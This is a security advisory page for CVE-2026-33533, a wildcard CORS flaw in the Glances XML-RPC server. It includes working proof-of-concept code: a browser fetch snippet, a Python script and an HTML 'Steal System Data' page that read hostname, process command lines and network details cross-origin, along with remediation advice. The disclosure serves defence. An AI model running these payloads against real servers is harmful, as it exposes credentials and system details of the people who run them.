Cors Misconfiguration
CVE-2026-33533
HIGH
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
2Blast Radius
ecosystem impact- 4 pypi packages depend on glances (4 direct, 0 indirect)
Ecosystem-wide dependent count for version 4.5.3.
DescriptionGitHub Advisory
Summary
The Glances XML-RPC server (activated with glances -s or glances --server) sends Access-Control-Allow-Origin: * on every HTTP response. Because the XML-RPC handler does not validate the Content-Type header, an attacker-controlled webpage can issue a CORS "simple request" (POST with Content-Type: text/plain) containing a valid XML-RPC payload. The browser sends the request without a preflight check, the server processes the XML body and returns the full system monitoring dataset, and the wildcard CORS header lets the attacker's JavaScript read the response. The result is complete exfiltration of hostname, OS version, IP addresses, CPU/memory/disk/network stats, and the full process list including command lines (which often contain tokens, passwords, or internal paths).
Details
File: glances/server.py, class GlancesXMLRPCHandler, line 41
def send_my_headers(self):
self.send_header("Access-Control-Allow-Origin", "*")This header is attached to every response from the XML-RPC server. The server inherits from SimpleXMLRPCRequestHandler which parses the POST body as XML regardless of the Content-Type header. Combined with the default unauthenticated configuration (server.isAuth = False, line 196), any website on the internet can call getAll(), getPlugin(), getAllPlugins(), getAllLimits(), or getAllViews() and read the results.
The REST API had the same issue and it was fixed in 4.5.1 (CVE-2026-32610). The XML-RPC server was not patched. The two components are entirely separate code paths: the REST API uses FastAPI/Uvicorn and is started with glances -w, while the XML-RPC server uses Python's xmlrpc.server and is started with glances -s. The attack works because POST with Content-Type: text/plain is classified as a CORS simple request by browsers, so no OPTIONS preflight is sent. The server never checks the Content-Type value, so the XML-RPC payload inside a text/plain body is parsed and executed normally.
PoC
Prerequisites: Glances installed (any version including latest 4.5.1+), started in server mode.
Step 1. Start the Glances XML-RPC server on the target machine:
glances -s -p 61209Step 2. From any machine, run the Python PoC to confirm the issue server-side:
python3 poc_test.py TARGET_IP 61209Step 3. To demonstrate the browser attack, host poc_cors_xmlrpc.html on any web server (even a different origin). Open it in a browser, enter the target URL (http://TARGET_IP:61209), and click "Steal System Data". The page will display the full system monitoring data retrieved cross-origin.
Step 4. Alternatively, paste this into any browser console while on any website:
fetch("http://TARGET_IP:61209/RPC2", {
method: "POST",
headers: {"Content-Type": "text/plain"},
body: '<?xml version="1.0"?><methodCall><methodName>getAll</methodName></methodCall>'
}).then(r => r.text()).then(d => {
let m = d.match(/<string>([\s\S]*?)<\/string>/);
let data = JSON.parse(m[1].replace(/</g,"<").replace(/>/g,">").replace(/&/g,"&"));
console.log("Hostname:", data.system.hostname);
console.log("Processes:", data.processlist.length);
console.log("First process cmdline:", data.processlist[0].cmdline);
});Verified output from testing on Glances 4.5.3_dev01 (current main branch):
[+] HTTP Status: 200
[+] Access-Control-Allow-Origin: *
[+] Successfully retrieved system data cross-origin.
Hostname: claude
OS: Linux 6.8.0-1024-gcp
Process count: 125
Top processes include full command lines with arguments
Total data categories exposed: 35Impact
Any user who runs Glances in server mode (glances -s) on a network-accessible interface is vulnerable. A malicious website visited by anyone on the same network can silently extract the complete system monitoring dataset without any user interaction beyond visiting the page. The stolen data includes hostname, OS version, IP addresses, full process list with command lines (which commonly contain database credentials, API tokens, internal service URLs, and file paths), disk mount points, network interface details, and sensor readings. Default configuration has no authentication, making every XML-RPC server instance exploitable out of the box.
poc_test.py
#!/usr/bin/env python3
"""
PoC: Cross-Origin Data Theft via Glances XML-RPC Server CORS Misconfiguration
This script simulates the browser-based attack by sending a POST request with
Content-Type: text/plain (CORS simple request) to the Glances XML-RPC server.
The server responds with Access-Control-Allow-Origin: * which allows any
webpage to read the full response containing system monitoring data.
Usage: python3 poc_test.py [target_host] [target_port]
Default: python3 poc_test.py 127.0.0.1 61209
"""
import http.client
import json
import sys
import xmlrpc.client
def main():
host = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
port = int(sys.argv[2]) if len(sys.argv) > 2 else 61209
print(f"[*] Target: {host}:{port}")
print(f"[*] Simulating cross-origin request (Content-Type: text/plain)")
print()
conn = http.client.HTTPConnection(host, port, timeout=10)
# XML-RPC payload sent as text/plain to avoid CORS preflight
payload = '<?xml version="1.0"?><methodCall><methodName>getAll</methodName></methodCall>'
headers = {
"Content-Type": "text/plain",
"Origin": "http://evil-attacker.com",
}
try:
conn.request("POST", "/RPC2", body=payload, headers=headers)
response = conn.getresponse()
except Exception as e:
print(f"[-] Connection failed: {e}")
sys.exit(1)
print(f"[+] HTTP Status: {response.status}")
cors = response.getheader("Access-Control-Allow-Origin")
print(f"[+] Access-Control-Allow-Origin: {cors}")
print()
if cors != "*":
print("[-] CORS header is not wildcard. Attack would not work.")
sys.exit(1)
data = response.read()
result = xmlrpc.client.loads(data)[0][0]
parsed = json.loads(result)
print("[+] Successfully retrieved system data cross-origin.")
print()
print("=== Stolen System Information ===")
print()
system = parsed.get("system", {})
print(f"Hostname: {system.get('hostname', 'N/A')}")
print(f"OS: {system.get('os_name', 'N/A')} {system.get('os_version', '')}")
print(f"Platform: {system.get('platform', 'N/A')}")
print(f"Distribution: {system.get('linux_distro', 'N/A')}")
print()
cpu = parsed.get("cpu", {})
print(f"CPU user: {cpu.get('user', 'N/A')}%")
print(f"CPU system: {cpu.get('system', 'N/A')}%")
print(f"CPU cores: {cpu.get('cpucore', 'N/A')}")
print()
mem = parsed.get("mem", {})
total_mb = round((mem.get("total", 0)) / 1024 / 1024)
used_mb = round((mem.get("used", 0)) / 1024 / 1024)
print(f"Memory: {used_mb}MB / {total_mb}MB ({mem.get('percent', 'N/A')}%)")
print()
ip_info = parsed.get("ip", {})
print(f"IP Address: {ip_info.get('address', 'N/A')}")
print(f"Subnet Mask: {ip_info.get('mask', 'N/A')}")
print()
procs = parsed.get("processlist", [])
print(f"Process count: {len(procs)}")
print()
print("Top 5 processes by CPU (with command lines):")
for p in sorted(procs, key=lambda x: x.get("cpu_percent", 0), reverse=True)[:5]:
cmdline = p.get("cmdline", [])
cmd = " ".join(cmdline) if isinstance(cmdline, list) else str(cmdline)
print(f" PID {p.get('pid'):>6} | {p.get('name', 'N/A'):>20} | CPU {p.get('cpu_percent', 0):>5.1f}% | {cmd[:100]}")
print()
print(f"[+] Total data categories exposed: {len(parsed.keys())}")
print(f"[+] Categories: {', '.join(sorted(parsed.keys()))}")
if __name__ == "__main__":
main()poc_cors_xmlrpc.html
<!DOCTYPE html>
<html>
<head><title>Glances XML-RPC CORS PoC</title></head>
<body>
<h2>Glances XML-RPC Cross-Origin Data Theft PoC</h2>
<p>Target: <input id="target" value="http://127.0.0.1:61209" size="40"></p>
<button onclick="exploit()">Steal System Data</button>
<pre id="output" style="background:#111;color:#0f0;padding:10px;max-height:600px;overflow:auto;"></pre>
<script>
async function exploit() {
const target = document.getElementById("target").value;
const out = document.getElementById("output");
out.textContent = "[*] Sending cross-origin XML-RPC request to " + target + "/RPC2\n";
out.textContent += "[*] Content-Type: text/plain (CORS simple request, no preflight)\n\n";
try {
const resp = await fetch(target + "/RPC2", {
method: "POST",
headers: {"Content-Type": "text/plain"},
body: '<?xml version="1.0"?><methodCall><methodName>getAll</methodName></methodCall>'
});
out.textContent += "[+] Response status: " + resp.status + "\n";
out.textContent += "[+] CORS header: " + resp.headers.get("Access-Control-Allow-Origin") + "\n\n";
const xml = await resp.text();
const match = xml.match(/<string>([\s\S]*?)<\/string>/);
if (match) {
const data = JSON.parse(match[1].replace(/</g,"<").replace(/>/g,">").replace(/&/g,"&"));
out.textContent += "[+] === STOLEN SYSTEM DATA ===\n\n";
out.textContent += "Hostname: " + (data.system?.hostname || "N/A") + "\n";
out.textContent += "OS: " + (data.system?.os_name || "N/A") + " " + (data.system?.os_version || "") + "\n";
out.textContent += "CPU cores: " + (data.cpu?.cpucore || "N/A") + "\n";
out.textContent += "CPU usage: " + (data.cpu?.user || "N/A") + "% user\n";
out.textContent += "Memory: " + Math.round((data.mem?.used||0)/1024/1024) + "MB / " + Math.round((data.mem?.total||0)/1024/1024) + "MB\n";
out.textContent += "Processes: " + (data.processlist?.length || 0) + "\n\n";
if (data.processlist?.length > 0) {
out.textContent += "[+] Top 10 processes (with full command lines):\n";
data.processlist.slice(0, 10).forEach(p => {
const cmd = Array.isArray(p.cmdline) ? p.cmdline.join(" ") : (p.cmdline || "");
out.textContent += " PID " + p.pid + " | " + p.name + " | " + cmd.substring(0,120) + "\n";
});
}
if (data.network?.length > 0) {
out.textContent += "\n[+] Network interfaces:\n";
data.network.forEach(n => {
out.textContent += " " + n.interface_name + " | RX: " + n.bytes_recv + " TX: " + n.bytes_sent + "\n";
});
}
if (data.fs?.length > 0) {
out.textContent += "\n[+] Filesystems:\n";
data.fs.forEach(f => {
out.textContent += " " + f.mnt_point + " | " + f.device_name + " | " + f.percent + "% used\n";
});
}
}
} catch(e) {
out.textContent += "[-] Error: " + e.message + "\n";
}
}
</script>
</body>
</html>AnalysisAI
Cross-origin data exfiltration in Glances XML-RPC server (glances -s) allows any website to steal complete system monitoring data including hostname, OS details, process lists with command-line arguments, and network configuration through CORS misconfiguration. The server sends Access-Control-Allow-Origin: * on all responses and processes XML-RPC POST requests with Content-Type: text/plain without validation, bypassing browser CORS preflight checks. Default deployments run unauthenticated, making all network-accessible instances immediately exploitable. No public exploit identified at time of analysis, though detailed proof-of-concept code is included in the advisory.
Technical ContextAI
This vulnerability exploits a fundamental CORS security misconfiguration in Glances' XML-RPC server implementation (glances/server.py, GlancesXMLRPCHandler class). The server inherits from Python's SimpleXMLRPCRequestHandler which parses POST body content as XML regardless of the Content-Type header value. When combined with the wildcard Access-Control-Allow-Origin: * response header, attackers can craft POST requests with Content-Type: text/plain containing valid XML-RPC payloads. Browsers classify text/plain POST requests as CORS 'simple requests' that do not trigger preflight OPTIONS checks, allowing the malicious request to proceed. The XML-RPC methods getAll(), getPlugin(), getAllPlugins(), getAllLimits(), and getAllViews() return comprehensive system monitoring data in JSON format. This is classified as CWE-942 (Permissive Cross-domain Policy with Untrusted Domains), distinct from the REST API vulnerability CVE-2026-32610 fixed in version 4.5.1-the XML-RPC server operates on a separate code path using Python's xmlrpc.server module rather than FastAPI/Uvicorn, and was not included in that previous remediation.
RemediationAI
Upstream fix available (GitHub advisory published); released patched version not independently confirmed from available data. Users should monitor the official Glances repository at https://github.com/nicolargo/glances for security updates addressing GHSA-7p93-6934-f4q7. Immediate mitigation: disable XML-RPC server mode if not required, or restrict network access using firewall rules to trusted IP ranges only (avoid binding to 0.0.0.0 or public interfaces). If XML-RPC functionality is necessary, enable authentication by configuring credentials in the Glances configuration file and restarting with authentication enabled (server.isAuth = True). Consider switching to the REST API mode (glances -w) if already patched in your version, though verify the CORS configuration independently. Network segmentation and VPN-only access provide defense-in-depth for monitoring infrastructure. Review process lists and logs for command-line arguments containing credentials and rotate any exposed secrets as a precaution. Subscribe to the GitHub security advisories feed for nicolargo/glances repository for future updates.
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View allVendor StatusVendor
SUSE
Severity: Medium| Product | Status |
|---|---|
| openSUSE Tumbleweed | Fixed |
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GHSA-7p93-6934-f4q7